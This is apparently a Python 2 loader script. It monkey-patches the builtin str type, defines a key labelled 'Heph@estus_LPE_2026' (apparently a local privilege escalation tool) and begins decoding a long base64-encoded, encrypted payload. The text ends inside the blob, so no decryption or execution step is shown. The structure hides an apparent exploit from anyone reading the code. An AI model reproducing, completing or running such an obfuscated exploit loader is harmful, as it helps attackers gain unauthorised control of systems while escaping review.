#!/usr/bin/env python2
# -*- coding: utf-8 -*-
# ULTIMATE FIX: Monkey-patch builtins dengan custom str

import zlib
import base64
import __builtin__

# Buat subclass str dengan method fromhex
class PatchedStr(str):
    @staticmethod
    def fromhex(s):
        return s.decode('hex')

# Ganti str di builtins dengan subclass kita
__builtin__.str = PatchedStr

# Sekarang semua 'str' merujuk ke PatchedStr, yang punya fromhex

_key = b'Heph@estus_LPE_2026'
_enc = base64.b64decode(
    "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